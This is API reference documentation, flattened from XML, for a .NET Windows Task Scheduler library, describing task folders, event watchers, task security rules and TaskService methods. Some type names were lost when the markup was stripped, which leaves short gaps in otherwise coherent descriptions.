that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to 